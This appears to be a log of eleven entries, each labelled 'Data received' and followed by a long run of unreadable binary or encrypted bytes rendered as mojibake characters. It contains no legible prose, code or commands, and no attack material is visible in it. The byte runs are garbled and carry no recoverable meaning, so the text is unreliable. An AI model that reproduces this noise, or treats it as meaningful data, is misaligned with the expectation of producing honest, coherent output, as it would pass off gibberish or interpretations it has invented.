Data received	°Dó82Þ\|6ÓñbÞor¢yÐA´I@+tk¿üW[Ò[(Dÿ's~t×2æ;È¸K<H~îimcx²÷× Ù0¯%B(Mb#qÒà+áÙIëÏØÝösmY÷Øó§ôC7p(ºu2ú¾ âL¸ªÉò7¡ÉÉ~3A DõîG£xAC$ÄèÜ§dPÚ^[wó?N/½<GOº½HÞ´8û ?c:b5ãØø\Ä%^Üv_IñE·G?^US9ÆþL38CÈ¶ ¦ï¾TêÖÖ)lA<T:Ôs²ÄXÏFñÌ8Rõ¨(ª^¤ ,Ü¶Ý"0<þ? \|ß=·."ìnþë5,«:}²æQG%$ºÝü6ÆÇÑ6@sJNokQ¿ÌËY-pô 6Ì\Và-¹T"Ó÷a²[ÙÆ¥ÚCºcÅ³îCðr5µù©q]½&gRÚ1ºô³4Çò]½:ÝôNä~ÈcWT¦Å´³ªg§·LÚ÷ççZ¨41²ÿhIJú÷¶r÷ðe¡÷XÕ) ¯FÎ6Ñ ö#èë0=0'G×RÜ§:Çåªü8ï)Òj1áÁþþ!íAt_#ÃúX]o$GoÝtÊóæî#÷².$¨ëú'÷ÑïÇq iÐä.ÑÎ³Fº$qÌXàèmøæ4Z¨×¼uýj<ô5æñaYÑý&2ò y@TL&qçê£Qh§Íø0¹ñyd\\0ì~ íGgëªÛÄ$V]ò÷CÚV Ó]åÄpèâgiÈQDÚcö[G}-â¾ ÅôÜ^gÂÈÝ;# ªò¼ÉÐg]ip´ÚÀõhT3ÇíA>ä×-ñ¤}õTî3ÞÏÆ9ÎÀ; ýa[ /s»°]-§&.Yôh¡¹FÐ Åe&Ùcg/¥4<½ð?yÂ<cö¸:¡Ði¡÷¡Ýÿ?ÂÙ£ýQydÑQUsÖR9 ï<¥ïJvL¤Ââ£¥´#xk''Æ ççæ¬.dJAé(4ÚÛ(;t NHÎµNJ` s%Ûe@ÂÑÔ«µ~swÝc?ÿ®ê}>s7$¦áÉ;~JNÈºÉ¥4èU\|áîmV¤xÍPWsúM<Øßs_Î©SÎL~ý5Î %¼aÓ¯#È¬0Ôµª[@°Bè¸R]ºevme¹u_É]8ÔÏH3¬?Æmê`l¦%Ö ºáô>"I)øÑÚÛg·m¿jë'y%òÍ%«4#õqÔÚfµrpñüQi=§¼Ò~#C<XwdR^a¥ÝàÚ9´dûO°h(Y./WÈ3(~y.«'bXìULºª¿õ½qÃpaAkÉsoð%bL® +àê ®ZÕf©l¼ÎCé¸b5©KI¾=k=òßÙì® ¢(XsïÂò¯_/;79Zq\ÍÈbÜ'@ôEË,ÉÎ%ìöc´Z§LÜàBáÑ2´nÁªKmñÌÚ³Äy&e«ý4ã!º*Ò9df(Ös!ùDZ°Y¶G`+d^HUÞUa
Data received	fC§1Ô?aO\|¯Î$Øf{[æ²@-'8É¨64pa<~¢ôåÁå$ÆÛ@ÆÀá'eö+Áù6t«ð`7Û{MõðuóÃìNC°xóå`æVV{ÃTxØßå@ÎÇwjnIµMDï_:wA/â+ù1T$S_Ç?})M6.JÔádô+bÖÅÐôRláðÝ7Ê¯XÊºhÜÕ÷òÍBÄL¥¥JÅsÛæ8¸K¶sÿ{j·¨91Æ)y¤ñÚ52r«eê5ó·+ñ¶GNÞ¼ÝûF,sÙ3ªoÔæåû8ê¡Óì3¸òYS_ÿîõÅ6F¤·Àÿíyàñ»góbûÊ©õ«yd Ee,?^Ü¬íCö òñí¹ÔwÉ6¸40÷H$·:ðAE;éÂr¸±cñ,>ôzT³Ó#µhÙRSÕÌÈû4§³gâÊ°]Mû©ó¹ðc<1ñã¸0\|FßÀÐP[Q(CCñÏ¼;ÐjéÙ¬ñ/î´Ìá0TùÓ×Á+¥<õè#5èd$ôY²!+[QÙÄHqÞø2V5;%+âO¢¿0Çæys$æÓ» §ÃX5Èh¨Z»2}¹oSV$cF ¹é®Ê(å\|° zÓþw¢ôÉ0Jå\zÃô81O½§å¬E~[Æ¥ gcÛìqIé¡{ÉE/!±þYÉ`ò«8/æsÃ»¢Ó~÷ @~ÑÏVW©(ç àÄ5B_R³Kç¿Äj¡6cHZBmqõé×5 8cTÁDà@%[TºüOßÙ?H\ëÂòMO+gû)iDLmûn7Bìð<ä"«ó,§¥Ï'¯=/¸³(Ç(¹ØUO¶F"±õ94ùRE©&R 8é×b]lÔËAs8F<¨¾ë0>ò½¯7ïþ}mïÒ»Ç5àãÌÎµtc,··u½þ4í(ßÁdq.iBÓV¾à£:eÈ«=ÝVZÃ¢w]ý¥aÖ-#0£Çá7{³æB¹®ø2ü1vÛÊÓ©?ètpïGG?°ö0õÌöYpùxúèÙÕ õ u$eöS[«:Ö¿æNA®BÆ$E·Êl)gÓ=Í%mÇi½Ëæh$0~ºÎt,D§7wÊyL®c7B0óêü$ U$`0òÞÁì'WÄ¥ÝWÂbËøÛo«uÈÿèÉ&LLZÏI:$?Új¢3ú©¥:³}.ÂbSTïKúìäØAó®Ø£êO¢jÖ¬ÜOpÙçÆx¹úÍÄ[t ÿøøÛÇ:¬æ+©Dè¬Ðp¨ø]}h´7åü`>ñ¬²eRìÃd^" @íìûÙÁ(Æ¸ÕqÝëÛAôdkTHN~Ä´°Ü/¡ZH ¦JÅÏ;èÔxÑÊ1§þ!sØì¥ç{~¶½¯!G@uk:Ë¢¡Í¾Nv]?nûªÐÒ=SL¯9¦¨Ä>c]u¯þºÉSWúO'êæõw,,S8G2Ð´£ïU)~Uè >\|àf=HÄSìæÖ]lâræ¢Àb\|Q/¬ß¦¼$Â®.¿0v] yACMÚ×çÏ&ß¤?æ;*åÁúÝ«¼,Àh(YXbËóÁI!
Data received	³ªàqNÞgÅ(J_ëÈ å9 MÎp Ñ£O,Á¯®ÞÊÔiP×Ð]ÿ¶uáÔ¥znåÂD¤«Bdýì¯Bªð!H~õ«Òô9Ô6Qó õZHQ if¹1H)ÈOú\= @åqy§u\|èÄf-Ê£'ã ÞÁ¶CVp>=ý¿ì)Ù,RÚÄ0G³&¼¢+OâøuÙäU° ºö »G ¬.öXoNLGÞÝõX,e«FÖ¤©9?x5ä¦#ÃÓºåM}%OµrümðB]LÎýÄøéþ¸'# #@L{TWþÆÊø²hÓø¦ÞTV$Fçµn°ýFw~µ)ê j¤=}AÖ!$]rÀ£Ò0Ü#+v¸¸6 rSêå.«¤?W¾-ãÎúJ/Ë)jpnÞ~Î1«7 &óÎe<Sñ¦úy·\|s¸uòÄEäøj¹AÌ]Cü]úMgÕídÜ»è(N-`ïmj"Æô¹ Ri)ERÎ0Í½È(MwûK¨ÞpªRÐJ8 ©,[\| ?D4`ÙÝã^§ú¤ZÍL¬¡Å%^«vlwåE~z4z(>©`áÒ¨äðÑW¼ø Á÷80Q§YhX«-õUÄ@ÿf:ý³¡¢Á>tUû,3Hä}½h, ÍvñÓòÂÝqw]¶GmÑI&Ð¾/Î&d:R+±Ú@QRÐTPõ;æôùöÐOîÄC-Ã"{t\2^ÏÑþØ\ÀeüàÑÓ¶ü6~îÇçÍ}<3×d%¡+5Ä ±)[Óå.ÛÏÌ'ãâgOþ$U¤p¦J£ù"ÆéVMôZcÝ <µ4bªÙç3äâÑØù¾£M8°ÝkrØßk+9jå>X£¯4dOöqt)ã°¾¼Õøh¾+XðØ²a#s7Öýä OÝÿgmý°ÐoñTðítø±ñ<Ç×4¹Ý¤ø4[Ý'äXÕalªÉ [!çdÞíþEÔ'e>æÔO(<4¤¨ÄëC©Ó£ ÑcÄók¦ ÝgòúÔµqÿñÁFB>D§gRìttp Ï8yÃ£ñã°ÿQ¸yÑ`o\|©bCøý0~±\1ü ½'aûìÖ6¥ñTô.Ñ¡Æ âÙvVÈâè¡Ívo?¤Õ:"<ú\|´Ï¦D7¬b¶ë@Tkhk&ÎúÍdÿr^¶k«ÜÔ£í13Rö08\øê!ï{+Bg³C Á4³a úÈxW9UM=¬èøHBeÒøDåå9ú7µß_;6Fï"´òæø<ZæàW¹ÓÓÂÂ,¯¯8jÌE¬÷:i Cul SÐGûûÐÉÒÕl¥^XÈ¶Qe®¹Áå¨Ñí VÜ®âGìqSUHãw;ß¦ïE ,ø¡²Î~+úá+ÝïtûVSýÄéHoeæ¬#3Íæ¡8CËev¼M/_ª,v{p^O$ üÞ<ÈeQ#Þô¸¹ÒÞë÷¨ØGók7Yd >b¿}Þç7YÚr~ ß!ü¿æêvEôM<Iæ pÄÁÞ69[ûvg5ýÁu¾0«ß<î¨ÒB-Ê«$©&*Ou¯.XH¿éóê
Data received	)æ÷$·®>SA6±ê\|6Ã¿Ö#<þ²\|ô¯ Z>ìy1n°ÃÑ&w}3]ÀðSÆlk(çméØÑ×¢ îïµS®c=3Ad!¸¿ÿ¯¡%{XÅ6JÒ»!q\|~ K§ÎEûõ zNaÑÈ=HÀ^±^ÊÒ);çdãýÊd,ÈZp&Û¥·{=¹ì§ÌÍãl¢:?ÿ²0KÜAâñú¸d$úþú´³e4¢\|/nõÜÍLz¿³¥ój ¼`à/XÉÇ³,+Òï5,ßaÖPWós#¹ijµ)ë]Ä¾ªw0^ÕELaa34×åyuh«ôÖ/QÅ:ù?FY>®6ÙwÔ»´°¨ ¦k-~NqÆ¡Ä,èt¾s)Ø\¯Ñ^ÛKín=L±=Öî ÷-inRèxÿ^Èµµô8å° ¾ñ»ý94öÕÊé(ûIÅÅ»§Uàõ³NúÅ:ånã_éðBÒèÜ´ýþH^ÓC¼/<tSdÈWÜ\|¢ýkVÁ´t¢à¬]Ê9À2ä³%íÑà8ðnÞ¯ÃÊÓÇì÷=ÇàeÃ{¨PB@ì.þûOñÔy~TñÀB,5½jý'Ço¤ÃÐ Ý½>ÁªªÝØtqªyà°û¨îCP]bV8ó«Àûâ@Ïh`h?b>=þ·ðBB`\|-@8)&-B¸ý9vgCr9 "H®Àiî¤U2Ti, ÄÑGÚçV<´ü>£ UÞáß³È¬¡Ub¨kØ®ì´¤ÖO8PgZVàà©Y%cÏ£\|¶M·¿â#¸il¶»3ÕUQ©ßvC\|]GùdCÁØþv{_WâW³úúébäSñh/M¶s=¯Ééb#CÓ,VñDØ (Õç§$gyüôóà&Rj %WN"O¡H°çËTf¡DKó~F»Eþ,?W^ÃXU¶4µðCfEÄ¡ÊÖ¦À/ë£¥^Q¯Aèô¨ýúÎ"$uYZukIµÇ®ô\|ÃPãÂ½mxgÕY;-0g`.§%ª?QÌ8#WÑO¨ÏH§xÁ®©á× â >¦N_,GM^~ÄNÙx¸«ÜmjBm1@áµ¼YØXÌ%ÞÙ·]?\|Ú·FÑC¸ºç¼ú%¶lýÕÂ¡»üÀl&íÛ¹3Úpõé.xLá ù(ÜJBÍ)üUy<`µg=?Ì<Ý'K©}XÖ ½ ¨¶ú)Ýu¯ÕkÍî+7Ùn³pêÜy4'¢'rßcÅÀí3 {XN/î=£`yÿÉ4zé¯B²âÈ6ÑLyJ¯j^@&ÂòF«Aìá¬¨ÀB-WøôhÝov^ùB¿¦ðyu ¯ §5c%qxðXS¥Fg8Ê3,¢XûßH uÇäú~òàFùïÜUó6^Çô¤Õâ8ßÎÇäÅMÕÐÆ rø@nçóÜmw®}TÀw¾7ª£ß"Åý0Óñ¡={ßÄLoÈg÷Ìg¬A§_øvÆ©{Em¾Fb\|~.4Ù$Êév¦×´Â)ÆÒ´AËàÀ¼ÖêÄNuC¢ÖãZÈ´ ø
Data received	¡ÙëÔd8clîæÓ¢::Qh÷¢®àQë1u\|0äç(£ô²î6Ï-ÒD<¬YT3@1Ü´ns»vdw8Ta.Ï8Èô¦ñ2tª¡ÓÅ0Å¨k ½\¡SdÝôøMæ} ¡ku©kCº]Ê¬\|I´Äõ@Åuì^ôBÓGª«újtiE ýÇcy¸½\|{ ÚÙ¼/ªMëhÓzØåf¯ôøjÍ¸gü"\|òåÚ³ 5Áu+û.hjrQH }L¥Ó¥8OOr@}ß'Ê°Â>BLï¤âKgÌ@]Þ31¿Goã`c¹@Ù!ð&±kõL&Ê-MÄ`¸NZãO9½²·¢ =·/-c'tf^Ïiìkw©wA(@ jøTcÌÍxIÈzþãoß\EÛüª>úÓ4þíÐIÑ{álÝÉ/=ÌAeÅxa 1:þâsÜ\æ¥ðí£ºEàR&ÞÚÜdÙ¹Äjò¶wqï?(DõOùªlòdèð-VãìJÝ ¿±æMf;cþMÑ^ ×r Éjl$ÜÖÍ¿¶IþDzª,ÝÑHJ^hÙyLvyEI(æßóZÙ+µR@6hyÔ~ùÃ9ôy2H;´o&ý£µWÆ¥q@Pi»õî{z²ÿ)Fx_ T}Cèº¹y æ¿.+Mñüs_kÿýÔÅ×6]Ðz8K6ÙÐ$K"U:´4§ùr[Fu±¸+#Ù¢_ªVq«¯´ÙÓ%Èo5Q97¼êÐÑ,½ í_lÖ×8àIæÈ£ÍÛÃÿ×t 4ý\|Ml7Î³Ýö~Ä×¬¡`©¾yì½¹TRÑ »4&êºUÖü!rÎ¡º¢n\|yôØs[éXhÏæg_ÿý>·ßåqÚBå®ÏÓÇ\°Ú£¨Ýv[Xt³vÙC AWûS/wÁ^SÉµÔ>OØÿ^ÛÁ4s^¬HsYÌJÞÃÇëróu0Eg¶ ØyKÁØ{^ýº¨·â`t`=ÛKÏÉÿ:üÄUÇ9æùìÓú^!¥ð %T¤@>oª¤[o®ùø õR/ÊÔÏg²õÒÑ±c½·ªñPsdeåË ç[õAÄ 8ß¼¼< Ç wØWl%3ôäùy¦)+ù?b,')ÖuÿoÏ8]uiJÛ-oT^©üÍ lÏ~ù?âwç©XÙ«8$Fj[u- ^;¨[j´7qµ~<h=B@)¦)\DZó¶8ºI"@ifÒGÓY«ÊvlÑÉM8fæHÍ¬ø3±Â sü)×Tm;êþRPdýäÆØ£å0bNg¢Ô]Ö¼¹c0QXLaço#ô·P,Å»åI©¦(sÐpFhcÔðíÞUH/j½g+Å/N>èêî\|s% ªÄóù¹öÝ óù}FB '_¡¢&Z´oò14BJH«`Vü¡ÍÒ³K(ÃøøD°âäq['ÈóqUä_wï§$Þ:_ñrÝÈïÏî¹ÿ6K9ÂYe.y#CUÏSK¼#·R«dÒ¯u=ø t»êóÀ7²^Ð'29¿ùh´íy¬¼Ö>\|*kÒ
Data received	Âñô¢_]y\22Yµ_¹å°Ìè^>Ãú<mg-¡ÅYTJ¶ywë·Ä2`î))¶ ¿\|ØÒöºÛe´Q`®bXÜð{hl´¦Î~'ÄÚÛíãØLKtwNíc%ÆBÖ#F&ç{Ò3¥d«ÔH,Ù¿LOÉ£§ÎCwun(Èø:$½öB×¿o7¨cZuÑ`@YjG6Ïk'#¾ÇÔ×Iâ³·{zcqªAkâsQT¢:JQãÞNK¢zó ÂRE2²<#pÂ¹MIîô¬tMé p maÚ_·eD»m°'µxÔÒN 'pí°ê¯®Ö`ßIXÌû@aÉà{xtØy½6m¯gñÎ´Gç>á2=U0Ñ5A#ÏÜ':½²CyÐ='íHÖ%nÕc ¸Ý³^IMeËO0§ g;QûSódbéûè`³±³l<«ðwÍ E$`èÓ%< ~$»¤R¦;b°õ®Ù>ÔI÷ÖO rb·§2Nh[ á¯pIlð_úy.öc°¥q^ûË~t7]ñjÒs`Tµ,[\àeb_7+XáhAñqhÎ M0³#¨#L~b8¢Oî+Ì²C# #~çvæöý ÝYúôý¥/ekb@PJ[GÄ62hG¤ ©«r³lÇÎ ÇDí \ÙþçÀmÒÙ¦.·Ý´!¢ðôÔûmÎ¼Ö´n§E_Çu×ÈgõÆû&EBgÕKÚkÁ¼j¾É+¨(Üm59Åcý\|xYüúFª)Ðk+SA\|Ú_ y}k~6TÎùÓWÃªAÍê.IsÓ¢wåÿ¯ $¸ô\|M·BèèWÊòà ,S³LXq,ZäÛ=²y¢øöÿz_ÏKS¶ù07¹BÃÿ?BHâ÷ãðô[ ¨MÉÔò$&H¡bÍkí]ÚÆ ÔY_ò-<pßcy0å{óÃÝ8p÷¯y¤cf®à÷yÿ Ëi¦@`2Ö`¶g¹Ø,½º·¥UjÏ÷àùïî_A·ÅAhôÌæ,AÀØuù¯Ã½"KÕÍÊ±¥3g°Ú½tKo¬¿T³dyFOÐáú}uCÂã cW^ÅQG0å%÷CÛÙ}ÑÁÂ+7â¶/PÊI¸þIË¸Æ¥?æÉ!6ÿëýtb¸ètØ2Ij±b:úcj³süÜ,OG-=Ãå>£ªGá]¨Â^®'ÜÇ§"lÄ¯¸Î5Ãç:üeèÊóvàX±'ú±Ê R9_ !°íá÷äñrÚ ¬Í +ÜVÌ5dðcì´Ý"«Ë%öÀÝTiõù£·D¸¦4°Dý Á£©>µæáózºLÇmA2ÍäÕcOîëUæ{e®ÐJW xÒ¼ímü¢»¢aÉ#é%:¸Ò;ÿüÜ#ÔãÂÖþåúx12à¹¼ïDO\|ÁZ÷h$º¹]Ø»UaÆ×&W8Vhè·Ëþöð9PÉ¦]µÆ ¸÷þèvßä(T1iJÔnü¤¶,¨ãsÛ>L)¡ÚQ48øqe¢¡õ16È· ãv¤ZSNLù?tË7¿Æî¹©ö)
Data received	¹M4¤(y_¢ûõ GI,Ï$è;IÆI×hÓíK<B×ùLÌË {µäm¡SzoJ\|ësQâaÊý>eMäWÜ¡·}êmÓÿ¡=ñ~²_¤Ü5Jï#ÞÝ>° %ò±RO^G(0áùF5Â]tù.â¦[ÆÐÞ)wo7yøåFK"òÛ eJm½µ}$ËË !ëÁ½å\|yd;±»´ë>Þ>ºLÊ#"j^ôLmÅ<HO ¬« P·hÙIÊ\GY$´Ìâà¿g_ÞóÞ¦3[aÇ{ nGÎu(ÑîªVÜ4ÈÊÜ ÒÖ/®4è'ºÎÂXà ±SÐ¤6wüKú0ûoRÇaØþêRÏÍÖ¼SN'ñ"ÍLÏçÏä®0ÎÚ[ï·<¥AÔãoó¦7Dº:UÈ\|â+÷ý-.¹¾+ßÙÙ.5¢I¤Vw½°)G,aÓ¡u®°¡LÔÁuò96Ï±òo <%NÂE(aL8wvèjS§ËÉ·(ÙçÕ'-4pÙÚê\'Ö'át0è»§ñçHºîü¿ç£3ÞñS.ÿZ #.I5Bæ>/èÆ£ÿEåqnù Këdµ}M¡¶g?SDë¥¾vÐÈE0qÓmZ¶ø+É·-`yµÑ¥Æ·ü éO;x7?µ»wõËt6e{Îò¼ÊIWÚ¡\ÃDBüPå¿Ø¬÷@_°g60b³ÏøKå hÜ `òW÷ú5ØÞMÙ¼ÐÐµOíV§)îñaÄ %nÄ'µûë?aãò,õ´©ÅZü-:ÉÚ.$Èô;Üo^qd¯/Ææ¦ZrÄLráÙýL9 uw¤°8½1ÜÄhÜ[»Ó«¼Î5òÜ]i×DrB0Ð ¤ÛÀ1¶4Ì1ü·ö\|ÍF-/slÉ^.(,4ì~UPvS^&I`8EyÀ²J#\|q$Sµ©ÛÎË uF 2¿ÿ÷$äðÅ~=Îà' `àÔ7äTýËr¦w>÷>MáßCZÂÖMDðYE/Hî$kñj/¾W¯·üh,´ H}Ó¤%?ê6ÎÓÃùÎËèL»¼år ÕÅ¹yÅ5¯Yê;;ñ£¬@/µh$Pv¯= Uý=û§¿ÐÛ#×OºßÍ£]®ª´3¼ßümYxànºäÎË=æéØÄ3ß(;«ôhGjç¿lñHEE0nÁÍ3_½xò~Åg@¹OÖ¼ =ú·4]°-oLÐÞí é.£çjCYÞô3ïv)²ù\)Ã÷´4¥¡F>VW±G'µÁÈ¡üm Ã¿½R®dI´´ñ<¨}7úLÃ`LH{}ºÏwíö²ÙÓ$áÓÍÀF»3Ì2`aß+!r¸¹JÛÑ¾3¢$Ôù$¨m¨ w÷fudé%`¼üÓÍ»]ìRåã O§s#+.d&. xÁÌ@??¿I_´©(h÷»j¶xÅz <x?°¾ý Pkg hgº¦Oê±R,eªXö¯¨E±CmºæÓ/îßâUÄ°FF¥Þö9õvbÎuUJóü2DÉJëXÐ¼wâßÝÁ÷×3
Data received	ëÙ/Ç`2§vdÖÎzÒö'ÈSÆaiW~WÃ]z1ñ`gqGö§U-u]6¬ÊsªäÆc°ê#·ÇVê%wÞÞÐÝÀ!V¢æð3Þ12ËçÐ3ßÕçlÿà+)ðý2ôÁ=Q4Éò·Ö6Ñu{ Ùïiö¹-U5Ø}ïôqt0ÃÙWýêX7¤eõißë(åj[e¡2iªºÿz §, ~ç\|ìmçWnm½n´0íq1qAV/\|:¼&¸MÍÖ\q×\|r òÃÈbKÝy[üfQVå¦ml·A «½8ñY ¤!PS@x¥\¼?Çùwëpxj ² tæw'@Ký¤à÷0£$4¬Õ "uõ` õ\æáñÚ©ÑèzÆåuÂMg2ç -=LÜ!ÏõN¯Ýæt ~B~d/kqãêó`^Û3]ô¼ª:çJ?ä®säE´¿z(¢fVé^Þé¹¿~ç£FpÈdaÈPxÜiqn.#oýR,OU^ü·Ýa".ñÌÞÕÒÜø.rb¾i«ÞJCF(ý)áþNñmýõbqæòVþ:5UËªcÆ &ùoï¬°v!Z·÷-Ë!Â¨1ÜÉ8 4¹00»åì°gw [ñöMé¸"¶ÒóÏð R ùtÕS[°`Õ»ä þß{ó´²¾Ww°çUp0Ù³E¶ öÓ·¤oá;^ð®Zx¾[!Ê#0»Úá)Üæ^ìxÐAø(gê (i?4f=õqÊîyjÙT$u".ã8eÎ¹°,é¦ßQ3\&}#ÙÚØ®-o¯2~½}Ç¾ûÞ#v(©ÑÆ4Ç¿Mµ"ÿº¬çÒÅ'Ò¬&oÞ¢¹ YXÞ<<BêçW·CàÛ`0ä3À ¹.Ìu Ä³ç+V È£Þ¦¡£¶zúH}ínÆÑ^ÍÐhHØõ?ÜõÎ¤þ¢Ù (ð«iãVÆqñó®éÍ?»µlö¬8äÈh²[$OÔ]Í3¶Bz`êà ß(MQ×ù\Ý=.îÅ'Awp0ò$ ^Cç÷'í«x&Il _&bÉ^êL'û+Ökp³s¾Mñsp~Á¢h~ßå¿óWé_äò!ö»ÿ®jï-RWuÖviÍMæµìõrÛ¡f´nïËñ%Û;8¼ÃÐuòÔ©Ub Ò¡a$"B³P¶íàÿÄÞ\¯O,¦B\5è$!VÃÑLÆë"ì¶< ÇÁ8cÛÐ J \|H«ýç&;ö+¿a_=â"º°©üW÷èÝ-#åN=ZO-+ C²V¯0¥A/CóVê1É`Xp0¦P$:6+ú(fÚÛHi×jÙÂßC¶?Yú²ÇäßqÐbÆ¶ÑAþ½½ ~½t0ñ§ä´é\|rÖ³C75ÜNf¿ßÔïÆRÈ¼;ÉÂæ!`fG8·mØÝ]®Í ¡LÙLª§öóâDebÜr'ªíê¶ d_å!©7Å%&Ûg¯Î: Ò~£/áÚÚût\|9{?D,îN_^Ä~þätÌ¡ÈIÌ@ã³µª÷¹5l"µvyHSxz~¶ÈYú¯Þqñ2ÂÐß
Data received	í L~w®ÎK\M)èµ.à·:ëyD¼Bëxt7ÖXd)~°7_Âê«rËÑyÿr xéÅ¯m{´%¹ ¾;ÕI)b lz©KØlaO§O"Q\|¹¡vhSBNô¥k fý®¦äªÛ$÷5÷Ú§©gã%öAÝcpù¹¨»Ã'þL;\FP^¯sªî(òKüw àµ\ÁýëjÕNx?6¥È)£hðÜ¬q(«;ÉtÌ;bkºùT\|êþe-cw÷´LÖé¢ÞOÔúàJzÁ+bË¼1qÔï:æ»¼8Vå6Ba} 7(?HiKE4MÆØÇÕóÌ¼;{)êrùü¿/Èq"ú½/\ú'3PØGØ2"/PxÜ1J6À+óS{ýf7£E6E¦ä¥/=ù^ÃØLYl²¼D1å==3ÂOõu½^øt© µ5@"pÖ³ë/-ßìÆ<¿}&êW¶®ÒäFV5<¦vÌ/)'~ä}@=ïdwa/,±µ¯m\|F>,övÒùX4XÓ³Çä>Å£¿Ñ±âÍhI8É£I"ØgÃM5)xÀÅ×6á;Ü3ÍÞH{m».bâ¡ð¬¶:p}ýMî×_¦C´cäkh¯b¼jHÐU¿ÎQÕÑ0¯ xÛû¡ä5 3Y¤@ªi\|º¿Ezµ¸ÑN0 ¾ß¯Þc 3Ó0L.Ã}Dw0ÓÏq~ëY3ÉæmûsP2 ªµMí©©äó0Î9ÆUV g>éV5ËÈAøyîgøxAÚ÷:ÃÃ²»eºßÑÒD~-ø9×Cð]J'Û¿Ú»ó Ð¾_ $S¡jqªÔA^ §#ð³a¥ÄùÙ ;ÖeÁ YY:x ]~7TC=k½]¹ÆÎ@z û¯ÎDÆ&#¤q«swÇ£j¬¶Ï¾'öL²ÍüV;jã oäü´æC~^ÌPey+2H®5?ªX©N] Â)Þ¾ç£àßFùÓÔëÀýÛy'N±Ôw3ð{DRwni~ÓACÖ·ÑAñ>óùF¯ô=MËªÿ\@< f ]îãTwñ¦LÂ]ùRTÇL~ÌñÆ[ã0-ÿ8YRsR#s"ìH-%ÁAânøÉ0èµÒZ£l qT÷eÂ ZC®ãH®]s§Jä¢Ïv£·-a¿Ñ4w(í½¼g¦¡³ÊÃ[tÃÒDÔFeØ=:½Q[¨kVz(óUKtD{ÓÎ<XÆ@\|¡ë Aæ²1ÓÅ;;~Ö^÷$ñº=aìè·{ÔJ\!¬7Þê÷£×\Ðzà³A¦hÇ`××W§¹´i¬_Û¬Ó¬¿w@ ¦4«Å¼Ä<ôTz!Èu<·-lÄÚMC? kÒ]4?ùºº½&¼ \|dä¾(ï§3m5KÕÝ¹¶"Wû[Ã{ 70\|î~îüOE8À¥NÃÝAØÿ½ q{an«`×ÒËUC2ä¸CÜ)û¦Ww_ÔiKò^J<Gèç OÃW Y^+di§mä
Data received	º?¶qõ¤À]Äs}Ì îú/ïéÔ1Ð¤I\|cÏÝ4Yõ»®&´äFÂh(y (WÃ±EÎ)¿ªpþ9%Cëäµ¥'Íf2Órßn»ô&Â5ôÛTWBÊÀòÞH}w3üJZ×¶ÙdSÚO¦E(ú'ïcIþ[PJÖRîÛ%í¢¡^ô6§ºÄý×ÿö,Æ;ÛKÞñ{n ºwgb{ºÌþ¯°±Òk¤ÿQÉgÏñd!Ïï[\íÀ `G0¦;ê}üXê3N9µFÖ[5ÃðdÙÒÞrw¤úè9H-@¿,7¿h¾<¼¼ëz¯Ðô®mnûÈ-dÁç§BlÃR'¾â ìîÕÎx£ söß>¨õà¥·"+1ÍÞ´¦A;¿ÑNl!D#gË[¯Ò!@áÿA±°Îtø/>9³9ÐïâðÃawÏ½Pí&Ð3MQ`tfÕå©ÒÁ~¤cÄoSÕpoÄÝÛ%% ò©Òø Á´X¼õ3ßøaSÛÈ]AÓ'HýÏ{ô4ÄËÀÈWrc§ÁüÂÎý¿ç@ø[SóÝ8ÞïBíâ¿^AÜbáÿT«Ûó¸¹<j±ô\|¡`fKÌ³ÖOÀ¦.uvªNÀ¹å ÖÄp[nBÛ\|ýÎW ÓXÝrºÑotÓ3 Û; ·ÀáÈ²eÉ¹¿ÉÓ/+ÃvóÙã BC6ù¬¨O q<oº2ÊÉÚHÐ@g`ÄôN"²@îf« q¦÷·ÿ4ßÞMVjVíÝP<Ï©ú¦¦õÀÍANIúaH8·'é,Hz¾³C {dÇövôK=.!I.á:ö© Éõïóì3$tÓ_û&«2cF·/ê2ÂU¬ì9râðáEqáë!?o¿¡ÇþD®Xóý ¹yÇ r5¦s´~½uqC þy3,ÇörJa&ãÅõ6÷;øÑ¬TÙ¯ÃÉøÆlº¢Ó½ iø±KÅ»É²`9£ÔO±<WmT®úhQeöSv¥ú×±õÄPËqñ4¼p{WÝÇ{÷ÜãPô_g¨Pq!°á-bQ[¦-niÒ¹ÍYÉMÊ¬æ¡·2Áv:Â©ÜÌ"¥4=w\|zË åÓ,TbYÈ¸ÆdÛ_«ò¦¶ D;´Æc°wÅ¾ÑÕíÅ¬_ÜÊ;YÉ¿íüiY0Q"P¨>îýNôhD¾º¶åúª)á..§æ2:Kû°³hÏb¹\| )«uêê,sKÂzI§3) 0bWÌÞëcÂs/G#^BïY\|í¼çm}õ Aâ§,Ç ¶NåsP¶)ã^P/áån§oå:{F!î¯TãàAë}yFòyTh¿Ê§ÆWS«l>´:a4Úæ÷#@X5¾©/&{¥ö3´NpHàT¸ÏÚo,iýc^j¤²³ÝÒ;ÇFS5¤ jx/³¼J1áÜ×öãÒIõÄ¤fÈt\|+]kÏ¼ZËýØÆ[Ü»ïPQènaÿ!,Ø!¼ Å°ôuii.._[³<8®Õ@e^p:#¢*Z«ÑM©Îê-9P\Rí¦ «+ @
Data received	,ÿd8MaÀlmÇÙBÕY ý¥CjóüZ$½ vfQýï%Ä óÕ@îÆ#ÑRÔÞYÍÒùnv½"Åô0#ûæ)6}ø+Ç§À^3pÈ=}Úp2Þs×úËªCOÆZ¦®à ÕsWÚÀ»èV¸xâUi2[®ïZnñ1:ª¤ 4Tùgñ4ÀÒ+ç¬û·cDõÛ2o¯/tq¼\|T©MWÆÆdx G'VÛªÖIä°ã%æ¾ZÇÅ:q§aß}ûñ¼îW õûËãlkõ+JáÜ½;xuY:§°YfqÎ[C³/\|=íÂíZTç;jÆ^<HÜª#ñîç8c1á6è×ÉÌ¢ÛôùÓ]Ü'ZÉèY9g¸9kõ`Ûá²×9Ý.å8d$Ë7y&cxØ>ßú_L¼®ì¯/ÿÑbæúî³MFøíHKÚ.y¹\|J Ì'sùÜÇ@$ÓÈñ<µ^Uh%í/.FR+}èÿ!ÕÌ¬{áª^þðc3¦ºK³\d¡«6¢~Sª7Å¶µX©Úö1a¶F¼üð^c>agß.ÿ§ùXz¾êÌAv06/¸ãYþÃã¯ÕâÂ)$ïÀ#Ri\u¥½³äãEdÂÚÝcLiíÎ/ PÓêCxdÞ1ÖÓmÒ;¥Ø^õSÝß9ltúV ~$Pá'ãNf6WAÇúò/ùYP+À+¼ÿà4t-ÁQ¨ìû^¶FÐþÎ&<®ÒáBû´¯BN) 